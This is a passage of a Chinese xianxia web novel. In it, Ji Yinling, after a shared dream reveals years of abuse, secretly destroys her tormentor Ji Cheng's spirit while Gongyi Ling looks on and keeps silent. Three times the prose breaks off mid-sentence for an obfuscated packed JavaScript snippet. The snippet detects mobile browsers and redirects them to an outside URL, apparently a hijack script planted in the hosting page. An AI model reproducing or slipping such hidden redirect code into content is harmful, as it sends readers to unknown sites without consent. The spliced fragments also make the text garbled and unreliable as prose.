纪银灵完全没想到这么偏僻的地方也会有人,表情一僵,顿了顿才反问他:“你怎么会在这里?” 对岸的公仪岭是一脸的理所当然:“我找地方钓鱼啊,这里人迹罕至,清净偏僻,肯定没人来打扰我!” 纪银灵笑了。 她学着公仪岭的话,对他说道:“我找地方练琴,这里人迹罕至,清净偏僻,肯定没人来打扰我。” 对岸的公仪岭摆手道:“放心,我肯定不打扰你练琴,说起来,你今天弹得真不错啊!” 纪银灵第一次从其他门派的弟子口中听到夸赞的话,一时间不知作何回答,只好点了点头,生硬地答了一句:“你也不错。” 结果对岸的人从善如流,拿着串在树枝上的鱼问她:“我当然不错啦,今天我们俩能见面也是有缘,刚烤好的鱼,来一个?” 说着他就把鱼丢了过去。 纪银灵顺手就把树枝当暗器截了下来,闻了闻香喷喷的烤鱼,默了片刻,对他说了一句:“多谢。” 对岸的公仪岭就朗声笑了起来:“哎呀,都是仙友,说什么多谢啊!下次有机会的话,你教教我弹琴就是啦!” 100.月落琴声断 云深鹤梦长(四) 记忆重叠。 公仪岭忽然觉得有些哽咽,心头是一阵说不出的难受。 那时候的公仪岭压根就不知道,纪银灵是被同窗弟子给赶出来,无处可去,才路过这条小溪的。 直到现在,他才明白过来。 这一刻,他是无比庆幸,自己当时在全然不知的情况下,还是施以援手,给了她一点温暖。 燕煦泽拍了拍他的肩,道:“难怪她会将你一同带进自己的梦境中,想必是在这一刻真真切切地将你看作好友了。” 公仪岭沉默不语。 纪银灵很慢很慢地吃完了手中的烤鱼,随后取出了叱灵琴,弹了一首曲子。 燕煦泽听着听着,疑惑道:“这是什么曲子?我从未听过。” 公仪岭听完她弹的最后一个音符,心里也有了数。可他正想跟燕煦泽说时,眼前场景却突然天旋地转。 转瞬间的工夫,他们又回到了六弦阁之中。 公仪岭诧异道:“这是怎么回事?我们怎么又回来了?” 燕煦泽猜测道:“也许是纪银灵她主动切换了梦境场景或是时间线,于是我们也跟着过来了。” 公仪岭很快便看清楚,两人现在是身在六弦阁的正殿之中。 六弦阁的正殿并没有紫阳宗那样大,装饰布置相对而言也更风雅一些,不仅整座大殿都是用乌木建成,还在殿内放了许多观赏盆栽,很符合公仪岭对他们音修之人的印象。 正殿两边全都是六弦阁的弟子,像在恳求事情一般,全都跪在地上行礼。 而站在最前面的,正是纪银灵和纪景明两人。 他们来得突然,这次就连燕煦泽也还晕头转向,没搞清楚现在是什么时候发生的事情。 燕煦泽扫了一眼殿中的人,见面前纪银灵已经不是先前的少女模样,倒与现在他们认识的样子很接近,于是猜测道:“这恐怕是不久前的事情吧?” 公仪岭也拿不准:“我在云灵山的时候,也没怎么关注六弦阁发生的事情,我也不是很清楚。” 正说着,就听殿下跪着的纪丞拱手,语气坚决:“宗主,万万不可啊!” 上面的纪怀风眉头微皱:“我欲将宗主之位传给纪银灵,有何不可?银灵的修为,你们都是有目共睹的!” 另外一名弟子也上前道:“宗主,毕竟少宗主早已立下,再怎么说,也该由少宗主继任才是!” 其他弟子则道:“纪银灵德行有失,如何能够继任宗主?” 只有少部分弟子说了句公道话:“可是,纪银灵毕竟修为高深……咱们六弦阁,历来都是厉害的当宗主啊。” 纪丞立马呸道:“历任宗主里面,哪一位是德行有失的?这样的人当宗主,我等也不会信服她的!” “对对,没错!我们不信她,我们信少宗主!” 纪怀风闻言,垂眸问纪银灵道:“银灵,他们说你德行有失,可是真的?” 纪银灵缓缓摇头:“师父,银灵在六弦阁已近十三年,从未有过任何失德之事,还请师父明鉴。” 她初到六弦阁的时候仅有五岁,过了十三年,也就是十八岁。这样算完,公仪岭也就明白了过来:“这竟然是今年发生的事情。” 如此来看,想必也就是他下山去宣安城寻找父母的时候发生的了。 纪银灵说完这话,顿了顿,继而又道:“但是师父,继任宗主一事,恕银灵……不能接受。” “为何?” 纪银灵平静道:“银灵无能,无法服众。只有少宗主继位,才能服众。” 听完这话,燕煦泽轻叹了口气。 公仪岭道:“纪怀风也真是的,当众说让纪银灵继位之事,那些弟子们肯定不同意,还让她本就艰难的处境更艰难了。这下子好了,想来那纪景明更加看不惯她了。” 燕煦泽点头道:“是啊,你看那纪景明现在的脸色,要多难看有多难看,直接越过少宗主传位给其他弟子,这不是当众叫他难堪吗?” 公仪岭皱眉道:“就算纪银灵拒绝了宗主之位,再传位给纪景明的话,依照他小肚鸡肠、扭扭捏捏的性格,怕是会觉得拣了人家不要的宗主当,更加憋屈了。” 那边纪怀风迟疑道:“这……银灵,你也知道,景明他的修为,恐怕并不适合继任宗主之位。” 纪银灵却道:“少宗主聪慧良善,刻苦修行,他会成为一位好宗主。” 纪怀风正色道:“若无人帮衬他,如何能让我放心把这个位置交给他?” 纪银灵躬身行礼,决然道:“师父,我愿辅佐少宗主。” 令公仪岭没想到的是,纪怀风面上没有意外之色,而是凝视着她,又问了一遍:“银灵,你说你愿意辅佐他,那你能保证,此后一生都追随他,死亦无悔?” 纪银灵没有一点犹豫:“我保证。” 至此,燕煦泽也算是听明白了,直接哈哈大笑了一声。 公仪岭看着这转变,几乎瞠目结舌,就算是换个傻子来也看明白了,咂舌道:“搞了半天,在这儿等着呢?” 燕煦泽笑道:“我就说呢,纪景明七八岁的时候,纪怀风就将他立为了少宗主,一个对自己儿子有如此期望的父亲,又怎么会真的将宗主之位传给纪银灵呢?” 公仪岭喃喃道:“所以,最好的办法就是在众人面前,让纪银灵自己主动表忠心,拒绝掉宗主之位,再名正言顺地把位子传给纪景明。” 他看向纪银灵,却见她十分平静,即使是最后,到了纪怀风将宗主令牌传给纪景明的时候,脸上也没有掀起丝毫波澜。 燕煦泽意味深长地瞥了一眼纪景明,后者则是压根对此无知无觉,面上还明晃晃地写了“不痛快”三个字,就道:“纪景明,怕是到死也不知道,他爹煞费苦心为他铺的一条路吧。” 公仪岭道:“他是不知道,但纪银灵定然是知道的。我想,她这么平静的接受,便是念在师父的养育之恩、纪景明年少时候的维护之情……所以,她压根没想过与纪景明争这个位子。” 燕煦泽笑道:“当然。不过,公仪你不要忘了,现在纪景明已经死了,纪怀风也是生死不知。等回去之后,六弦阁多半就是那纪丞继位了。” “公仪,若你是纪银灵的话,可忍得了这口气?” 公仪岭蓦然间被他一问,愣了神。 仔细想想,他跟燕煦泽在梦境之中呆了这么久,几乎完整地经历了一遍纪银灵的前半生。甚至在梦境主人的影响下,他们俩有时候还能感受得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724534|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪银灵当时的心情和想法。 所以,对于纪丞此人,他能感觉到纪银灵是有恨的,也正是因为这样,才会形成如此深的执念。 但他毕竟不是纪银灵,也只能站在友人的角度上替她抱不平,并不能替她做什么决定。 公仪岭默了默,缓缓道:“我不知道她是怎么想的。但站在我自己的角度上来看,如果纪丞这样的人也能当宗主的话,我应该会挺不爽的,反正我是不想看见这么个人当六弦阁的宗主。” 燕煦泽勾唇道:“身为旁观者的你,都尚且如此,又何况是纪银灵呢。” 继任仪式很快结束,所有弟子都退了场。 纪银灵走得飞快,快到让人以为她只想逃离这里,须臾之间,就已经走到了大殿门口。 公仪岭朝着大殿门口望去,却见纪银灵在这时停下了脚步,回头望向了他们两人所在的方向。 他神情一凛,刹那间思绪百转千回,定在原地。 纪银灵薄唇微启,对他们说了三个字。 公仪岭扭头去看燕煦泽:“你看到了吗,燕兄?” 燕煦泽的表情也没比他好到哪里去,诧异道:“她说的是……结束了。” “她知道我们在这里!难道,一直以来都是她?” 公仪岭回过头,可那边大殿门口哪里还有什么人?就连他眼前所有的事物都开始变得扭曲起来,甚至连自己的身体也不受控制地向后倒去。 他心叫不好,下意识伸出了手想要抓住旁边的人,急声喊了燕煦泽一句:“燕兄!” 这变故来得突然,燕煦泽也被打了个措手不及,他是依靠着公仪岭的回忆进来的,如今公仪岭都这样了,他自然也没好到哪里去。 燕煦泽用法力勉强维持住自己的身形,费力大喊道:“公仪,没办法了,梦境要坍塌了!等你醒来,我们出去再说!” 他的话说完,公仪岭都来不及答他一个“好”字,就彻底失去了意识。 * 公仪岭睁眼之时,率先看到的,是头顶那火红色的、绣了曼珠沙华花样的床帏。 他躺在床上,以为是看错了,便揉了揉眼睛。 再度睁开,竟然还是那顶床帏。 虽然他的灵识现在还没全然清醒,但不管这是谁的床,公仪岭能十分确定的是,肯定不是他自己的床。 他脑子里乱糟糟的,有自己的记忆,也多了一段纪银灵的记忆。突如其来的这回忆令他措手不及,又觉得十分疲惫,于是敛目让脑子放松了一会儿,直到完全恢复。 也许是因为昏迷太久,他的身子还有一些僵硬,好不容易从床上坐了起来,掀开床帏往旁边看,就见这整座屋子都是黑红黑红的,仅有一盏烛灯在床边忽明忽暗地跳动,勉强照亮屋内。 屋内还不止他一个人。 “醒了?” 公仪岭看着不远处窗边站着的燕蓉,问道:“我昏迷了多久?” 燕蓉道走了过来,对他道:“不久,也就半日吧。” 看来,梦境里的时间果然做不了数,他在里面度过的十几年,在现实中也不过短短半日。 公仪岭又问:“这是哪里?” 燕蓉道:“这里是玄霄殿二殿下的住所。” 101.月落琴声断 云深鹤梦长(五) 公仪岭咀嚼着这几个字,想起来了尹鸿宣此人,于是问道:“我们不是在迷雾林里面吗?怎么会到尹鸿宣的住所来?” 燕蓉也不是很了解尹鸿宣这人,但还是据实说了:“尹鸿宣称自己是路过,知道我们有事情求见后,说可以带我们直接进来,所以就先带我们几个来这里了。” 公仪岭放下心来。看来,尹鸿宣那个傻小子还没傻到把两个人认识的事情说出来,这才找了个合理的借口。 虽然,路过这个借口听起来还是有点牵强,不过,大家也都知道他脑回路不同常人,说不定真能信他是路过迷雾林。 不管怎么说,这次尹鸿宣也算是帮了他们一个大忙,等下应该见面道谢一下才是。 公仪岭思虑完,又问道:“我们几个在这边的话,那别人呢?” 燕蓉点头:“你们三个昏迷的,加上我和大师兄。至于其他人,都在殿外等着。” 公仪岭低头在地上一看,果然,地板上放了三个简单制成的床榻,上面躺着的三人,正是纪银灵、纪丞和燕煦泽。 公仪岭喃喃道:“还没去玄霄殿就行,我还担心这一下昏迷耽误大事了呢。燕蓉,你怎么也在此处?” 燕蓉与他解释道:“你们几人突然昏迷,我们束手无策,所以大师兄才想办法进了你的回忆,看能不能帮你们醒来,为了以防万一,我就在旁边替他护法。” 公仪岭猛然间回忆起来了燕煦泽最后与他说的那句话,连忙问道:“燕兄他还没醒来吗?” 燕蓉皱眉道:“追忆术消耗巨大,大师兄一时半会儿没醒来也是情理之中。方才我已经用法术探查过了,他并无大碍。既然你现在已经醒来了,想必大师兄很快也可以醒来了。” 公仪岭点了点头:“那,那只半死不活的火凤呢?” 他刚说完,燕蓉面上的表情凝了凝,语气沉重:“那只火凤被打死了。” “啊?这……” “也许是它没熬过纪银灵那最后一击吧,在你们昏迷后不久,它就咽了气……这件事情,还真是不好同玄霄殿交代。不过这只鸟一死,其他人先前被火燎伤的那些疤痕,倒是消失干净了。” 公仪岭道:“他们人没事就好,火凤的事情,到时候再说也不迟。” 正说着,那边纪银灵和燕煦泽也都先后醒了过来。 燕煦泽撑着身子自床榻坐起,燕蓉连忙蹲下问了一句:“大师兄,你感觉如何了?” 燕煦泽除了嘴唇略微苍白了一些,人看起来倒是没什么问题。他摇了摇头,缓神了片刻,看见公仪岭和纪银灵也已经醒过来了,才慢慢道:“我没事,他们都醒来了就好。” 燕蓉忧心忡忡地凝视着他,问道:“你们在幻境里面,都发生了什么事情?” 燕煦泽侧目瞥了一眼旁边的纪银灵,抬起手示意燕蓉先别急,声音虽轻,却不容置疑:“师妹,你先随我去禀告师父吧。” 燕蓉瞥了一眼屋内三人,转念一想,觉得醒来了也就没什么事情了,于是道:“好吧,师兄。” * 燕家师兄妹两人离开后,房中仅剩下了他们三人。 两个人在现实中再度见面,一时间气氛有些尴尬。 公仪岭没想到燕煦泽和燕蓉这么快就走了,顿时有点不知所措起来,犹豫了许久,才开口问道:“纪姑娘,你的伤势……没事吧?” 纪银灵淡声道:“无碍。” 公仪岭努力地组织语言:“那,你陷入梦境以后,是从小到大的那个纪银灵吗?” 纪银灵抬眸道:“你们既然进的是我的梦境,那所见之人,自然也就是我了。只是,我也不过是附在了从前的自己身上,再次经历了一下曾经的事情。” “这……” 公仪岭问道:“那,我们进梦境,也是你刻意带我们进来的吗?” 纪银灵蹙眉道:“牵连你进来,并非是我本意,这是我与纪丞之间的恩怨,与你无关。在梦境里所见的所有事情,你不必太过介怀。” 公仪岭叹道:“我从前并不认识他,也不知道你经历的这些。在我看来,他做得是很过分,有的时候,我都忍不住想出手揍他了,但是在梦境里面,我却改变不了什么。” “说实话……有的时候我会觉得很抱歉,有一种只能袖手旁观的感觉,让我很无奈。” 纪银灵从床榻上起身,走到了还没醒的纪丞旁边,凝视着他的脸,对公仪岭说道:“你能这样想,我很高兴。我想,至少你是站在我这一边的。” 公仪岭挠了挠头,虽然没太明白纪银灵这句话地意思,但还是道:“我既将你视作好友,自然是站在你这一边的……只不过,为什么过去这么久了,纪丞却还没醒来?” 纪银灵轻笑了一声。 她目无波澜,平静道:“他不会醒来了。” 公仪岭一怔:“什么意思?” “你也知道,这梦境也是我的梦魇,他如今既然陷了进去,你说,我还能让他醒来吗?” “可……可是……” 纪银灵伸手,拂过了纪丞的额头,一团银白色的光芒就出现在了她的掌心。 公仪岭迟疑道:“这是?” 纪银灵低声道:“这是纪丞的灵识。” 公仪岭瞬间便明白了她想要做什么,惊声道:“纪姑娘,你不会想要——” 纪丞现在被她困在了梦境之中,她想要取出纪丞的灵识自然是易如反掌,如果灵识破碎,那纪丞便只有死路一条。 如果纪丞的肉身多了什么伤口,总会惹人起疑。而眼下只有他们三人,她想要不动声色解决掉纪丞,也就只有破坏掉他的灵识这个办法。 那一小团白光明晃晃落入纪银灵手中,下一秒就能被她掐灭。 公仪岭目光反复在两人之间交换,后背冷汗直流,小心斟酌着措辞,努力劝慰道:“那、那个……纪姑娘,我知道你恨他,但是毕竟纪丞他也是一条人命……虽然我也觉得他确实是手段太下作了点,但,你看啊,到时候你有什么冤屈,咱们去跟那几位长老说说呢?肯定能给他一个惩罚,还你公道的……” 纪银灵看着他,突然笑了。 “是啊,你说得对,如果拿这样的事情跟那几位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728670|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长老去说的话,他们是会给纪丞一个惩罚。” “但是,公仪岭。在他们长辈看来,纪丞说白了,也没犯下什么原则性的大错,全然能当作是小辈之间的小打小闹,罚他关关禁闭也就象征性地解决了此事。” “那,我这十三年来收到了欺辱,又算什么呢?!” 纪银灵一字一句说着,她每说一句,便上前一步,直到最后一句说完,几乎是逼视着公仪岭,令他避无可避。 公仪岭张了张嘴,却一句反驳的话也说不出来。 “旁人固然无法理解,可是公仪岭,你误入我的梦境,在里面是切身实际体会过了我所遭遇的一切——难道他纪丞,不算死有余辜吗?!” “是,他是死有余辜,我明白,”公仪岭咬牙道,“但是我也不能看着你犯下大错。残杀同门,你可知道,犯下这样的罪过,会是什么样的后果!” 纪银灵冷声道:“我知道,我当然知道,可是我不在乎做了这件事以后我会如何。” 公仪岭艰难出声:“你相信我,我会在长老面前替你作证,让纪丞得到他应有的惩罚……” 他脑中一团乱麻,口不择言地说完,猛然抬眼对上纪银灵的面庞,便怔在原地。 纪银灵脸上虽挂着笑,但不知何时,已经流下了泪水。 她声音嘶哑,泣声说着,每个字都浸染上了恨意:“作证了,然后呢?让他被关上几年以后,我再眼睁睁看着他这样的人继任宗主吗?” “纪景明是师父之子,他们有恩于我,他继任宗主,我从未有过半点怨言!那日在六弦阁正殿上,我所保证的,字字都作数。” “可是,他纪丞算什么?他在大殿上口口声声说我德行有亏,可是,德行有亏的是他,不是我!如今纪景明已死,难道你要我从今往后,这辈子都辅佐他纪丞?!” 公仪岭沉默片刻,缓缓说:“我不是这个意思,我也没有替他开脱的想法……我只是担心你,你短短修炼十余载就甩出了同门一大截。有这样的天资,何必要与他过不去?做什么毁了自己未来的修仙路,把自己困在这个梦魇里,永远走不出去呢?” 她寒声道:“既是我的梦魇,那我自然要亲手解决他。” 公仪岭长叹一声。 纪银灵凝视着他,低声道:“公仪岭,你说过,你是站在我这一边的。” 公仪岭顿了顿,道:“是,你是我的朋友,我是站在你这一边的。” 纪银灵忽然轻松笑了:“如今这件屋子里只有你我二人,只要你永远不说出去,这件事就永远不会被人知道。” “……” 公仪岭自嘲道:“……我真没想到,你会这样信任我。” 他更没想到的是,纪银灵微微偏头,很干脆地承认了下来:“这个世界上,我信任的人不多,公仪岭,你算一个。” “那如果我说出去了,又如何呢?” 纪银灵垂眸看着手中的灵识,面上无悲无喜:“无所谓,那就算你够善良够正直。若是你将此事说出去了,我会上三化殿中负荆请罪,无论什么样的惩罚,我都接受。” 102.永世不得见 永生再难忘(一) 公仪岭摇头道:“你明知,我是不愿看到你这样的。” 纪银灵冷声道:“在六弦阁正殿,宗主继任之事结束之后,我主动结束了这场梦境,你可知道是为什么?” “为什么?” 纪银灵勾起唇角,抬手撩起了自己的衣袖。 在公仪岭的印象里,纪银灵一直跟齐元白一样皮肤白皙、肤如凝脂,是属于一看就被养得很好的那类人。 然而当他垂下视线,却看见她原本白皙细嫩的手臂上全是青青紫紫的印记。 更叫人触目惊心的是,她手上那密密麻麻数十道血淋淋的鞭痕。 公仪岭愣在原地,几乎难以相信自己看到了什么。 仙家的戒鞭滋味他也是尝过的,虽然各家多少有些细微差别,但总体是没什么区别,要是被这样的鞭子抽过一顿,十天半个月恐怕都下不了床。 看纪银灵身上的这数量,说是把她打了个半死也不为过。 他难掩震惊:“你身上怎么会有这么多伤痕?!纪丞他打你了?” 纪银灵放下衣袖,寒声道:“纪丞他现在如何能是我的对手,他没办法打我,自然想到了另一种办法。” “六弦阁大殿上他当众向师父检举我,师父虽然将信将疑,但议事完以后还是召了众人调查此事。谁知道他们竟将此事说得有模有样,传到师父耳中,便完全变成了我勾引少宗主!即便少宗主有心辩驳清白,在他们眼中也变成了受我迷惑……” “为了纪景明的名声,师父想堵住悠悠众口。所以,我身上这些伤痕,全都是在戒律阁受的。纪丞他串通了惩戒仙僚,整整四十七道戒鞭,每一道都是他亲手打的,至今都未能愈合!” 公仪岭艰难出声:“此事……我与燕兄并不知道。” “是,梦境中我并不愿让你们看见那样惨烈的场景。公仪岭,你不要怪我心狠,纪丞今日能落到我手中,也是他咎由自取!” 说罢,纪银灵指尖微微用力,下一刻,她手中的灵识便完全破碎,消失殆尽。 她的速度之快,完全容不得公仪岭有任何反应的时间,他仅仅也只是下意识地伸出了手,想要抓住那团灵识,但也仅仅只抓住了那四分五裂,从她指缝中流逝的灵识碎片。 还没等他收回手,就连他手中的灵识碎片也化作轻烟,消失不见了。 “……” 公仪岭低头看着床榻上纪丞逐渐变得灰白的面色,心知他这样,就算是神仙也难救了。 纪银灵面上冷若冰霜,平静地施法探查,在确认他真真切切已经身亡后,才放下心来。 公仪岭看着眼前的尸身,喃喃道:“你可知他现在死在屋子里面,等下我们出去以后,要如何与外面的人交代?燕家师兄妹离开前,可是亲眼看见纪丞还活着的。” 纪银灵从容自若:“这有何难?梦境之中的事情谁都无法预料,如果梦境坍塌后他没有及时出来,他的灵识一样会被吞没,再难醒来。” “难道,你是怕你也在这间屋子里,难辞其咎吗?” 公仪岭道:“我眼见着你犯下大错,却没能制止……说到底,此事我也有不可推卸的责任,若是他日事情败露,三化会审的时候,我一样也会被惩罚。” 纪银灵冷笑道:“这件事情是我一人之过,我自会解释,你不必担心。何况,梦境里的场景,那燕煦泽也是一清二楚,他知道你没有杀他的动机,自然也会替你开脱。” 公仪岭沉默不语。 片刻后,门口传来了“笃笃”两声敲门声。 纪银灵声音不轻不重:“进。” 公仪岭收拾了一番复杂的心情,朝门口看去,却见进来的正是六弦阁的另一位师弟。 “师弟,你怎么来了?” 那师弟手中端着三盅汤药,垂着头答道:“燕宗主他们叫我过来,给师兄师姐们送药。” 公仪岭接了他拿来的汤药,仰头一饮而尽。 师弟见纪银灵没动,不由问道:“师姐……你不喝吗?” 纪银灵走到他身旁,拍了拍师弟的肩膀,淡声说道:“出去再说吧,我与公仪岭有要事要回禀燕宗主。” 师弟滞了片刻,迟疑道:“那……师兄他……他怎么还没有醒过来?” 纪银灵叹了口气,没有回答他,径直走出了门。 公仪岭更是如鲠在喉,在这边也一刻都待不下去,没有再回头看一眼纪丞的尸身,跟着她离开了。 那师弟虽然不明所以,但还是走了过去,很实在地将汤药盅放到了纪丞的床榻旁边。 殿内,燕煦泽也差不多对众人讲完了梦中遇到的事情。 见公仪岭他们出来,燕蓉起身问道:“你们俩没事吧?” 公仪岚在外面等得焦急,上前一步检查了一下公仪岭的伤势,又问道:“药喝了吗?可有大碍?” 公仪岭低声道:“没事,我们俩都恢复地差不多了。” 燕煦泽看向他们:“那,纪丞可已经醒来了?” “他……” 公仪岭犹豫着该如何说,话头就已经被纪银灵接了过去,她立即道:“纪丞他没醒,我们刚刚……已经探不到他的生命迹象了……” 闻言,燕修远猛然从椅子上起身,惊道:“怎么会如此?!” 纪银灵摇了摇头:“梦境中的事情很难一言道明,若是梦境最后坍塌的时候,入梦的人没有及时清醒过来,那灵识多半就会被困在梦境之中,随着坍塌的梦境破碎了。” 燕修远还欲细问,就听房屋内的一声悲痛万分的惊叫:“师兄——” 众人面面相觑一眼,齐齐冲回了房内。 那师弟在放下药盅之后,仔细打量了下师兄的面色,突然发觉不对,这才施法去探查。这一探查,便惊觉师兄已经亡故了。 燕蓉跟在师父身后,看着洒了一地的汤药和床榻上面如死灰的纪丞,皱眉道:“方才我和大师兄离开之前,纪丞就一直醒不过来,我还以为过一会儿他就会苏醒,这才放心出去了,没想到……” 燕修远的手在尸身上面拂过,得知了结果后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731660|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色十分沉重。 “师父,他没救了吗?”燕煦泽问道。 燕修远摇头:“他灵识消散,已经身亡了。” 纪银灵道:“方才我与公仪岭在这边休息一会儿后,却依然没见他有苏醒的迹象,察觉不对后,公仪岭尝试用法术唤醒他,也毫无用处。等我探查后才发现,他的灵识已经破碎了。” 尚未抵达玄霄殿,就已经折损两人,众人面色都不太好看。 公仪岭并不擅长替人隐瞒这样的事情,提心吊胆生怕别人问他,便想着该如何找个借口开溜。 再者,他也得找个合适的由头去见一见尹鸿宣。 很快公仪岭便想到了合适的理由——他们尚有任务在身,纪景明和纪丞的尸身需得有个暂且安身的地方,只需跟燕修远提及此事,必然能行。 公仪岭便问燕修远道:“燕宗主,那六弦阁两人的尸身……我们总得找个安置的地方,再动身前去玄霄殿。” 燕蓉也道:“是啊师父,外面乌烟瘴气的,到处都是妖魔,若是将他们放在外面,难保不会有东西打起他们仙身的主意。” 燕修远沉思片刻,道:“眼下魔族地界之内,我们也没有别的选择,只能试试去问问那二殿下,能不能暂且收容他们了。” 公仪岭连忙打算毛遂自荐前去,结果他还没开口,门口就已经有魔族侍从前来。 那侍从对众人行礼,面无表情道:“诸位,我家二殿下有请。” 燕修远闻言没有犹豫,快步跟了上去,众人也紧随其后。 尹鸿宣刚刚才来到大殿上,正翘着脚坐在正座上,见人群中公仪岭跟着出了来,面上一喜:“哎,都醒了啊,快坐快坐!” 燕修远见他这样热情,也是摸不着头脑,心道这魔族次子性子果然奇怪,也不知道是不是随了爹了。 公仪岭见他换了身魔族的衣服,相比起宣安城里面的穿着显得更加英气了些,对他微笑点头:“多谢二殿下出手相助。” “哎呀,这是哪里的话,你们既然是我爹的贵客,那我肯定是要招待好你们的!” 公仪岭听完,在心中默然得出结论,看样子,尹鸿宣果然不知道他们此行的具体事情,也并不知道他爹压根没邀请他们。 燕修远心中顿时也有了谱,干脆将错就错道:“我们此番前来,误入了迷雾林之中,与赤炎真火凤缠斗之后,有两位仙僚逝去。只是我们还得前去玄霄殿中,无法妥善安置他们,不知二殿下可否行个方便,等商议完后,我们就会来这里将他们带走。” 尹鸿宣眨了眨眼,脑子里过了一遍捋清楚了事情,爽快道:“没问题,这都是小事。” 众人松了口气,起身道了句多谢。 “你们打算什么时候动身前往玄霄殿?我可以让我的侍从带你们前去。” 燕修远思忖片刻后,道:“今日天色已晚,明日早上我们再动身吧。” 尹鸿宣立刻吩咐了手下去准备房间,转而对他们笑道:“那今日,你们就先在我的殿里住一夜吧。” 103.永世不得见 永生再难忘(二) 公仪岭还惦记着火凤的问题,也就顺嘴问了:“二殿下,不知那只赤炎真火凤,可也是被你带走了吗?” 尹鸿宣点了点头:“火凤的尸身现在在我这边,还没给我爹带过去。” 他既然说了尸身,想必那只凤凰的的确确是死了,公仪岭便没有追问,只好道:“当时情况紧急,失手将它打死并非我们的本意,还请你们见谅了。” “此事,我会与爹说明,你不要担心。”尹鸿宣听到这事情连眉毛都没挑一下,看起来压根没把这只鸟放在眼里。 有了他这句话,公仪岭心中稍安,感慨着当初果然没白救这小子。 入夜,大家都已经在各自的房中歇下。 而公仪岭,则是一直熬到了大哥和承悦睡着,这才轻手轻脚出了门。 守在门口的魔族侍从没想到他这么晚出来,诧异片刻后就低声问道:“您怎么出来了?” 眼下这位贵客,可是二殿下亲自与他们叮嘱过好好照看的,侍从自然不敢大意,只能小心翼翼地请示着公仪岭。 公仪岭背手关上门,对两个侍从道:“带我去见你们家二殿下,我有事情要请他帮忙。” “您这边请。” 侍从带着他在穿过殿中,绕了七八个弯,将他带到了尹鸿宣的房间内后,便离开了。 在公仪岭来之前,早已经有魔侍去回禀了尹鸿宣。等公仪岭推门见到他的时候,见到的便是穿戴整齐、喜上眉梢的一个人了。 尹鸿宣今日憋了一日没跟他相认,现在可算是有机会说出来了,脸上的笑容根本掩盖不住:“公仪兄弟,你们怎么来了也没跟我说一声!” 公仪岭找了把凳子坐下,道:“不是我故意瞒你,只是这件事事关重大,随我同来的还有其他仙家的人,这才没说。” 尹鸿宣想起那日情形,担忧又后怕:“幸亏那日我来得及时,不然的话,你们再在林子里待下去,可就危险了。” 公仪岭微微皱眉:“这件事情我也想问你,你跟他们说是路过,我看是胡扯的吧?你怎么知道我们在那边的?” “那还用说,路过这回事当然是胡扯的!公仪兄弟,你忘了你身上带着我给你的石头?在你受伤的时候,这石头感应到了,我也就知道了,这才特意赶来的。” 原来如此。 公仪岭明白过来:“这还真是多谢你了。” “我们俩之间还谢什么呀!你安心在这里待着就是,我爹不会来这边的。话说回来,你们为什么要去玄霄殿找我爹啊?” 公仪岭默了默,肃然道:“这也是我今晚过来想要问你的事情了。” 尹鸿宣见他严肃,顿时也不敢轻视,马上追问:“公仪兄弟,你直说就是,能帮的我一定帮忙。” 公仪岭深吸了口气:“好吧,那我也就不瞒你了。此行前去玄霄殿,我们云灵山正是为了帮紫阳宗宗主寻找他失踪的那位女儿。我这次来就是想问问你,一个多月前,可有听说过玄霄殿带回来一位姑娘,她现在在何处?” 说完,公仪岭就紧紧盯着尹鸿宣的脸,想从他脸上找到什么表情变化。 尹鸿宣也是个藏不住事的,听完他的最后一句话,脸上先是有片刻的疑惑,很快就变得惊诧起来了。 公仪岭见他这样的表情,直接抓了他的手臂:“你知道?是不是?” 尹鸿宣沉默了很久,才垂下头。 他低声道:“在你说之前,我并不知道这女子是什么身份……你也知道,我爹和我哥从来不告诉我他们在做什么,我也是偶然间一次误入了那边,才看见了她。” 公仪岭沉声问道:“她现在如何,还活着吗?” 尹鸿宣点了点头,犹豫道:“活是活着,可是她一直被放血,状态极差,几乎只剩下一张皮了……我曾心软想跟爹求一求,放她出去,但被我爹打了出去。那以后,就再也没见过她了。” 听说燕婉还活着的时候,公仪岭蓦然松了口气。 然而,在听到尹鸿宣的后半句话后,公仪岭一颗心却又悬了起来。 尹鸿宣定然不是最近几日才去见的燕婉,如果那时候燕婉的状态就已经很差的话,他不敢想象,燕婉现在究竟是生是死。 公仪岭强忍下心中的不安,追问尹鸿宣:“尹二殿下,你告诉我,她现在究竟在何处?” 他说完,等了许久,都没有等到尹鸿宣的回答。 公仪岭疑惑地看他,却见尹鸿宣也是一脸犹豫。 尹鸿宣沉默许久,才试探问道:“公仪兄弟,你同我说一句实话,你们这一次,是不是想偷偷把她带走?” 公仪岭一惊:“你如何得知?” 